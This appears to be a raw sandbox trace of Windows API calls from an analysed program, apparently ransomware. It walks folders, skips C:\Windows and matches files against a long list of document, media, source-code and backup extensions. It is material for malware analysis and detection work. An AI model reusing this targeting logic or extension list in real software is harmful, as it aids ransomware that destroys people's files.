	[0093.399] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0093.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.399] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.399] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1
	[0093.400] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.400] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.400] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0093.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.400] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.401] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1
	[0093.401] FindClose (in: hFindFile=0x51d760 | out: hFindFile=0x51d760) returned 1
	[0093.401] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.401] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x3a4f310 | out: lpFindFileData=0x3a4f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1
	[0093.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned 59
	[0093.402] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned 1
	[0093.402] lstrlenW (lpString="ICE") returned 3
	[0093.402] lstrcmpiW (lpString1="C:\\Windows", lpString2="ICE") returned -1
	[0093.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f202a8
	[0093.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned 59
	[0093.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d760
	[0093.403] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.403] FindNextFileW (in: hFindFile=0x51d760, lpFindFileData=0x3a4f094 | out: lpFindFileData=0x3a4f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1
	[0093.403] lstrlenW (lpString="ICE.ELM") returned 7
	[0093.403] lstrlenW (lpString=".1cd") returned 4
	[0093.403] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1
	[0093.403] lstrlenW (lpString=".3ds") returned 4
	[0093.403] lstrcmpiW (lpString1=".3ds", lpString2=".ELM") returned -1
	[0093.403] lstrlenW (lpString=".3fr") returned 4
	[0093.403] lstrcmpiW (lpString1=".3fr", lpString2=".ELM") returned -1
	[0093.403] lstrlenW (lpString=".3g2") returned 4
	[0093.403] lstrcmpiW (lpString1=".3g2", lpString2=".ELM") returned -1
	[0093.404] lstrlenW (lpString=".3gp") returned 4
	[0093.404] lstrcmpiW (lpString1=".3gp", lpString2=".ELM") returned -1
	[0093.404] lstrlenW (lpString=".7z") returned 3
	[0093.404] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1
	[0093.404] lstrlenW (lpString=".accda") returned 6
	[0093.404] lstrcmpiW (lpString1=".accda", lpString2="CE.ELM") returned -1
	[0093.404] lstrlenW (lpString=".accdb") returned 6
	[0093.404] lstrcmpiW (lpString1=".accdb", lpString2="CE.ELM") returned -1
	[0093.404] lstrlenW (lpString=".accdc") returned 6
	[0093.404] lstrcmpiW (lpString1=".accdc", lpString2="CE.ELM") returned -1
	[0093.404] lstrlenW (lpString=".accde") returned 6
	[0093.404] lstrcmpiW (lpString1=".accde", lpString2="CE.ELM") returned -1
	[0093.404] lstrlenW (lpString=".accdt") returned 6
	[0093.404] lstrcmpiW (lpString1=".accdt", lpString2="CE.ELM") returned -1
	[0093.404] lstrlenW (lpString=".accdw") returned 6
	[0093.404] lstrcmpiW (lpString1=".accdw", lpString2="CE.ELM") returned -1
	[0093.405] lstrlenW (lpString=".adb") returned 4
	[0093.405] lstrcmpiW (lpString1=".adb", lpString2=".ELM") returned -1
	[0093.405] lstrlenW (lpString=".adp") returned 4
	[0093.405] lstrcmpiW (lpString1=".adp", lpString2=".ELM") returned -1
	[0093.405] lstrlenW (lpString=".ai") returned 3
	[0093.405] lstrcmpiW (lpString1=".ai", lpString2="ELM") returned -1
	[0093.405] lstrlenW (lpString=".ai3") returned 4
	[0093.405] lstrcmpiW (lpString1=".ai3", lpString2=".ELM") returned -1
	[0093.405] lstrlenW (lpString=".ai4") returned 4
	[0093.405] lstrcmpiW (lpString1=".ai4", lpString2=".ELM") returned -1
	[0093.405] lstrlenW (lpString=".ai5") returned 4
	[0093.405] lstrcmpiW (lpString1=".ai5", lpString2=".ELM") returned -1
	[0093.405] lstrlenW (lpString=".ai6") returned 4
	[0093.405] lstrcmpiW (lpString1=".ai6", lpString2=".ELM") returned -1
	[0093.405] lstrlenW (lpString=".ai7") returned 4
	[0093.405] lstrcmpiW (lpString1=".ai7", lpString2=".ELM") returned -1
	[0093.405] lstrlenW (lpString=".ai8") returned 4
	[0093.405] lstrcmpiW (lpString1=".ai8", lpString2=".ELM") returned -1
	[0093.406] lstrlenW (lpString=".anim") returned 5
	[0093.406] lstrcmpiW (lpString1=".anim", lpString2="E.ELM") returned -1
	[0093.406] lstrlenW (lpString=".arw") returned 4
	[0093.406] lstrcmpiW (lpString1=".arw", lpString2=".ELM") returned -1
	[0093.406] lstrlenW (lpString=".as") returned 3
	[0093.406] lstrcmpiW (lpString1=".as", lpString2="ELM") returned -1
	[0093.406] lstrlenW (lpString=".asa") returned 4
	[0093.406] lstrcmpiW (lpString1=".asa", lpString2=".ELM") returned -1
	[0093.406] lstrlenW (lpString=".asc") returned 4
	[0093.406] lstrcmpiW (lpString1=".asc", lpString2=".ELM") returned -1
	[0093.406] lstrlenW (lpString=".ascx") returned 5
	[0093.406] lstrcmpiW (lpString1=".ascx", lpString2="E.ELM") returned -1
	[0093.406] lstrlenW (lpString=".asm") returned 4
	[0093.406] lstrcmpiW (lpString1=".asm", lpString2=".ELM") returned -1
	[0093.406] lstrlenW (lpString=".asmx") returned 5
	[0093.406] lstrcmpiW (lpString1=".asmx", lpString2="E.ELM") returned -1
	[0093.406] lstrlenW (lpString=".asp") returned 4
	[0093.407] lstrcmpiW (lpString1=".asp", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".aspx") returned 5
	[0093.407] lstrcmpiW (lpString1=".aspx", lpString2="E.ELM") returned -1
	[0093.407] lstrlenW (lpString=".asr") returned 4
	[0093.407] lstrcmpiW (lpString1=".asr", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".asx") returned 4
	[0093.407] lstrcmpiW (lpString1=".asx", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".avi") returned 4
	[0093.407] lstrcmpiW (lpString1=".avi", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".avs") returned 4
	[0093.407] lstrcmpiW (lpString1=".avs", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".backup") returned 7
	[0093.407] lstrcmpiW (lpString1=".backup", lpString2="ICE.ELM") returned -1
	[0093.407] lstrlenW (lpString=".bak") returned 4
	[0093.407] lstrcmpiW (lpString1=".bak", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".bay") returned 4
	[0093.407] lstrcmpiW (lpString1=".bay", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".bd") returned 3
	[0093.407] lstrcmpiW (lpString1=".bd", lpString2="ELM") returned -1
	[0093.407] lstrlenW (lpString=".bin") returned 4
	[0093.407] lstrcmpiW (lpString1=".bin", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".bmp") returned 4
	[0093.407] lstrcmpiW (lpString1=".bmp", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".bz2") returned 4
	[0093.407] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1
	[0093.407] lstrlenW (lpString=".c") returned 2
	[0093.407] lstrcmpiW (lpString1=".c", lpString2="LM") returned -1
	[0093.407] lstrlenW (lpString=".cdr") returned 4
	[0093.407] lstrcmpiW (lpString1=".cdr", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".cer") returned 4
	[0093.408] lstrcmpiW (lpString1=".cer", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".cf") returned 3
	[0093.408] lstrcmpiW (lpString1=".cf", lpString2="ELM") returned -1
	[0093.408] lstrlenW (lpString=".cfc") returned 4
	[0093.408] lstrcmpiW (lpString1=".cfc", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".cfm") returned 4
	[0093.408] lstrcmpiW (lpString1=".cfm", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".cfml") returned 5
	[0093.408] lstrcmpiW (lpString1=".cfml", lpString2="E.ELM") returned -1
	[0093.408] lstrlenW (lpString=".cfu") returned 4
	[0093.408] lstrcmpiW (lpString1=".cfu", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".chm") returned 4
	[0093.408] lstrcmpiW (lpString1=".chm", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".cin") returned 4
	[0093.408] lstrcmpiW (lpString1=".cin", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".class") returned 6
	[0093.408] lstrcmpiW (lpString1=".class", lpString2="CE.ELM") returned -1
	[0093.408] lstrlenW (lpString=".clx") returned 4
	[0093.408] lstrcmpiW (lpString1=".clx", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".config") returned 7
	[0093.408] lstrcmpiW (lpString1=".config", lpString2="ICE.ELM") returned -1
	[0093.408] lstrlenW (lpString=".cpp") returned 4
	[0093.408] lstrcmpiW (lpString1=".cpp", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".cr2") returned 4
	[0093.408] lstrcmpiW (lpString1=".cr2", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".crt") returned 4
	[0093.408] lstrcmpiW (lpString1=".crt", lpString2=".ELM") returned -1
	[0093.408] lstrlenW (lpString=".crw") returned 4
	[0093.409] lstrcmpiW (lpString1=".crw", lpString2=".ELM") returned -1
	[0093.409] lstrlenW (lpString=".cs") returned 3
	[0093.409] lstrcmpiW (lpString1=".cs", lpString2="ELM") returned -1
	[0093.409] lstrlenW (lpString=".css") returned 4
	[0093.409] lstrcmpiW (lpString1=".css", lpString2=".ELM") returned -1
	[0093.409] lstrlenW (lpString=".csv") returned 4
	[0093.409] lstrcmpiW (lpString1=".csv", lpString2=".ELM") returned -1
	[0093.409] lstrlenW (lpString=".cub") returned 4
	[0093.409] lstrcmpiW (lpString1=".cub", lpString2=".ELM") returned -1
	[0093.409] lstrlenW (lpString=".dae") returned 4
	[0093.409] lstrcmpiW (lpString1=".dae", lpString2=".ELM") returned -1
	[0093.409] lstrlenW (lpString=".dat") returned 4
	[0093.409] lstrcmpiW (lpString1=".dat", lpString2=".ELM") returned -1
	[0093.409] lstrlenW (lpString=".db") returned 3
	[0093.409] lstrcmpiW (lpString1=".db", lpString2="ELM") returned -1
	[0093.409] lstrlenW (lpString=".dbf") returned 4
	[0093.409] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1
	[0093.409] lstrlenW (lpString=".dbx") returned 4
	[0093.410] lstrcmpiW (lpString1=".dbx", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".dc3") returned 4
	[0093.410] lstrcmpiW (lpString1=".dc3", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".dcm") returned 4
	[0093.410] lstrcmpiW (lpString1=".dcm", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".dcr") returned 4
	[0093.410] lstrcmpiW (lpString1=".dcr", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".der") returned 4
	[0093.410] lstrcmpiW (lpString1=".der", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".dib") returned 4
	[0093.410] lstrcmpiW (lpString1=".dib", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".dic") returned 4
	[0093.410] lstrcmpiW (lpString1=".dic", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".dif") returned 4
	[0093.410] lstrcmpiW (lpString1=".dif", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".divx") returned 5
	[0093.410] lstrcmpiW (lpString1=".divx", lpString2="E.ELM") returned -1
	[0093.410] lstrlenW (lpString=".djvu") returned 5
	[0093.410] lstrcmpiW (lpString1=".djvu", lpString2="E.ELM") returned -1
	[0093.410] lstrlenW (lpString=".dng") returned 4
	[0093.410] lstrcmpiW (lpString1=".dng", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".doc") returned 4
	[0093.410] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1
	[0093.410] lstrlenW (lpString=".docm") returned 5
	[0093.410] lstrcmpiW (lpString1=".docm", lpString2="E.ELM") returned -1
	[0093.410] lstrlenW (lpString=".docx") returned 5
	[0093.410] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1
	[0093.411] lstrlenW (lpString=".dot") returned 4
	[0093.411] lstrcmpiW (lpString1=".dot", lpString2=".ELM") returned -1
	[0093.411] lstrlenW (lpString=".dotm") returned 5
	[0093.411] lstrcmpiW (lpString1=".dotm", lpString2="E.ELM") returned -1
	[0093.411] lstrlenW (lpString=".dotx") returned 5
	[0093.411] lstrcmpiW (lpString1=".dotx", lpString2="E.ELM") returned -1
	[0093.411] lstrlenW (lpString=".dpx") returned 4
	[0093.411] lstrcmpiW (lpString1=".dpx", lpString2=".ELM") returned -1
	[0093.411] lstrlenW (lpString=".dqy") returned 4
	[0093.411] lstrcmpiW (lpString1=".dqy", lpString2=".ELM") returned -1
	[0093.411] lstrlenW (lpString=".dsn") returned 4
	[0093.411] lstrcmpiW (lpString1=".dsn", lpString2=".ELM") returned -1
	[0093.411] lstrlenW (lpString=".dt") returned 3
	[0093.411] lstrcmpiW (lpString1=".dt", lpString2="ELM") returned -1
	[0093.411] lstrlenW (lpString=".dtd") returned 4
	[0093.411] lstrcmpiW (lpString1=".dtd", lpString2=".ELM") returned -1
	[0093.411] lstrlenW (lpString=".dwg") returned 4
	[0093.412] lstrcmpiW (lpString1=".dwg", lpString2=".ELM") returned -1
	[0093.412] lstrlenW (lpString=".dwt") returned 4
	[0093.412] lstrcmpiW (lpString1=".dwt", lpString2=".ELM") returned -1
	[0093.412] lstrlenW (lpString=".dx") returned 3
	[0093.412] lstrcmpiW (lpString1=".dx", lpString2="ELM") returned -1
	[0093.412] lstrlenW (lpString=".dxf") returned 4
	[0093.412] lstrcmpiW (lpString1=".dxf", lpString2=".ELM") returned -1
	[0093.412] lstrlenW (lpString=".edml") returned 5
	[0093.412] lstrcmpiW (lpString1=".edml", lpString2="E.ELM") returned -1
	[0093.412] lstrlenW (lpString=".efd") returned 4
	[0093.412] lstrcmpiW (lpString1=".efd", lpString2=".ELM") returned -1
	[0093.412] lstrlenW (lpString=".elf") returned 4
	[0093.412] lstrcmpiW (lpString1=".elf", lpString2=".ELM") returned -1
	[0093.412] lstrlenW (lpString=".emf") returned 4
	[0093.412] lstrcmpiW (lpString1=".emf", lpString2=".ELM") returned 1
	[0093.412] lstrlenW (lpString=".emz") returned 4
	[0093.412] lstrcmpiW (lpString1=".emz", lpString2=".ELM") returned 1
	[0093.412] lstrlenW (lpString=".epf") returned 4
	[0093.413] lstrcmpiW (lpString1=".epf", lpString2=".ELM") returned 1
	[0093.413] lstrlenW (lpString=".eps") returned 4
	[0093.413] lstrcmpiW (lpString1=".eps", lpString2=".ELM") returned 1
	[0093.413] lstrlenW (lpString=".epsf") returned 5
	[0093.413] lstrcmpiW (lpString1=".epsf", lpString2="E.ELM") returned -1
	[0093.413] lstrlenW (lpString=".epsp") returned 5
	[0093.413] lstrcmpiW (lpString1=".epsp", lpString2="E.ELM") returned -1
	[0093.413] lstrlenW (lpString=".erf") returned 4
	[0093.413] lstrcmpiW (lpString1=".erf", lpString2=".ELM") returned 1
	[0093.413] lstrlenW (lpString=".exr") returned 4
	[0093.413] lstrcmpiW (lpString1=".exr", lpString2=".ELM") returned 1
	[0093.413] lstrlenW (lpString=".f4v") returned 4
	[0093.413] lstrcmpiW (lpString1=".f4v", lpString2=".ELM") returned 1
	[0093.413] lstrlenW (lpString=".fido") returned 5
	[0093.413] lstrcmpiW (lpString1=".fido", lpString2="E.ELM") returned -1
	[0093.413] lstrlenW (lpString=".flm") returned 4
	[0093.414] lstrcmpiW (lpString1=".flm", lpString2=".ELM") returned 1
	[0093.414] lstrlenW (lpString=".flv") returned 4
	[0093.414] lstrcmpiW (lpString1=".flv", lpString2=".ELM") returned 1
	[0093.414] lstrlenW (lpString=".frm") returned 4
	[0093.414] lstrcmpiW (lpString1=".frm", lpString2=".ELM") returned 1
	[0093.414] lstrlenW (lpString=".fxg") returned 4
	[0093.414] lstrcmpiW (lpString1=".fxg", lpString2=".ELM") returned 1
	[0093.414] lstrlenW (lpString=".geo") returned 4
	[0093.414] lstrcmpiW (lpString1=".geo", lpString2=".ELM") returned 1
	[0093.414] lstrlenW (lpString=".gif") returned 4
	[0093.414] lstrcmpiW (lpString1=".gif", lpString2=".ELM") returned 1
	[0093.414] lstrlenW (lpString=".grs") returned 4
	[0093.414] lstrcmpiW (lpString1=".grs", lpString2=".ELM") returned 1
	[0093.414] lstrlenW (lpString=".gz") returned 3
	[0093.414] lstrcmpiW (lpString1=".gz", lpString2="ELM") returned -1
	[0093.415] lstrlenW (lpString=".h") returned 2
	[0093.415] lstrcmpiW (lpString1=".h", lpString2="LM") returned -1
	[0093.415] lstrlenW (lpString=".hdr") returned 4
	[0093.415] lstrcmpiW (lpString1=".hdr", lpString2=".ELM") returned 1
	[0093.415] lstrlenW (lpString=".hpp") returned 4
	[0093.415] lstrcmpiW (lpString1=".hpp", lpString2=".ELM") returned 1
	[0093.415] lstrlenW (lpString=".hta") returned 4
	[0093.415] lstrcmpiW (lpString1=".hta", lpString2=".ELM") returned 1
	[0093.415] lstrlenW (lpString=".htc") returned 4
	[0093.415] lstrcmpiW (lpString1=".htc", lpString2=".ELM") returned 1
	[0093.415] lstrlenW (lpString=".htm") returned 4
	[0093.415] lstrcmpiW (lpString1=".htm", lpString2=".ELM") returned 1
	[0093.415] lstrlenW (lpString=".html") returned 5
	[0093.415] lstrcmpiW (lpString1=".html", lpString2="E.ELM") returned -1
	[0093.416] lstrlenW (lpString=".icb") returned 4
	[0093.416] lstrcmpiW (lpString1=".icb", lpString2=".ELM") returned 1
	[0093.416] lstrlenW (lpString=".ics") returned 4
	[0093.416] lstrcmpiW (lpString1=".ics", lpString2=".ELM") returned 1
	[0093.416] lstrlenW (lpString=".iff") returned 4
	[0093.416] lstrcmpiW (lpString1=".iff", lpString2=".ELM") returned 1
	[0093.416] lstrlenW (lpString=".inc") returned 4
	[0093.416] lstrcmpiW (lpString1=".inc", lpString2=".ELM") returned 1
	[0093.416] lstrlenW (lpString=".indd") returned 5
	[0093.416] lstrcmpiW (lpString1=".indd", lpString2="E.ELM") returned -1
	[0093.416] lstrlenW (lpString=".ini") returned 4
	[0093.416] lstrcmpiW (lpString1=".ini", lpString2=".ELM") returned 1
	[0093.416] lstrlenW (lpString=".iqy") returned 4
	[0093.416] lstrcmpiW (lpString1=".iqy", lpString2=".ELM") returned 1
	[0093.416] lstrlenW (lpString=".j2c") returned 4
	[0093.417] lstrcmpiW (lpString1=".j2c", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".j2k") returned 4
	[0093.417] lstrcmpiW (lpString1=".j2k", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".java") returned 5
	[0093.417] lstrcmpiW (lpString1=".java", lpString2="E.ELM") returned -1
	[0093.417] lstrlenW (lpString=".jp2") returned 4
	[0093.417] lstrcmpiW (lpString1=".jp2", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".jpc") returned 4
	[0093.417] lstrcmpiW (lpString1=".jpc", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".jpe") returned 4
	[0093.417] lstrcmpiW (lpString1=".jpe", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".jpeg") returned 5
	[0093.417] lstrcmpiW (lpString1=".jpeg", lpString2="E.ELM") returned -1
	[0093.417] lstrlenW (lpString=".jpf") returned 4
	[0093.417] lstrcmpiW (lpString1=".jpf", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".jpg") returned 4
	[0093.417] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".jpx") returned 4
	[0093.417] lstrcmpiW (lpString1=".jpx", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".js") returned 3
	[0093.417] lstrcmpiW (lpString1=".js", lpString2="ELM") returned -1
	[0093.417] lstrlenW (lpString=".jsf") returned 4
	[0093.417] lstrcmpiW (lpString1=".jsf", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".json") returned 5
	[0093.417] lstrcmpiW (lpString1=".json", lpString2="E.ELM") returned -1
	[0093.417] lstrlenW (lpString=".jsp") returned 4
	[0093.417] lstrcmpiW (lpString1=".jsp", lpString2=".ELM") returned 1
	[0093.417] lstrlenW (lpString=".kdc") returned 4
	[0093.417] lstrcmpiW (lpString1=".kdc", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".kmz") returned 4
	[0093.418] lstrcmpiW (lpString1=".kmz", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".kwm") returned 4
	[0093.418] lstrcmpiW (lpString1=".kwm", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".lasso") returned 6
	[0093.418] lstrcmpiW (lpString1=".lasso", lpString2="CE.ELM") returned -1
	[0093.418] lstrlenW (lpString=".lbi") returned 4
	[0093.418] lstrcmpiW (lpString1=".lbi", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".lgf") returned 4
	[0093.418] lstrcmpiW (lpString1=".lgf", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".lgp") returned 4
	[0093.418] lstrcmpiW (lpString1=".lgp", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".log") returned 4
	[0093.418] lstrcmpiW (lpString1=".log", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".m1v") returned 4
	[0093.418] lstrcmpiW (lpString1=".m1v", lpString2=".ELM") returned 1
	[0093.418] lstrlenW (lpString=".m4a") returned 4
	[0093.418] lstrcmpiW (lpString1=".m4a", lpString2=".ELM") returned 1
	[0093.419] lstrlenW (lpString=".m4v") returned 4
	[0093.419] lstrcmpiW (lpString1=".m4v", lpString2=".ELM") returned 1
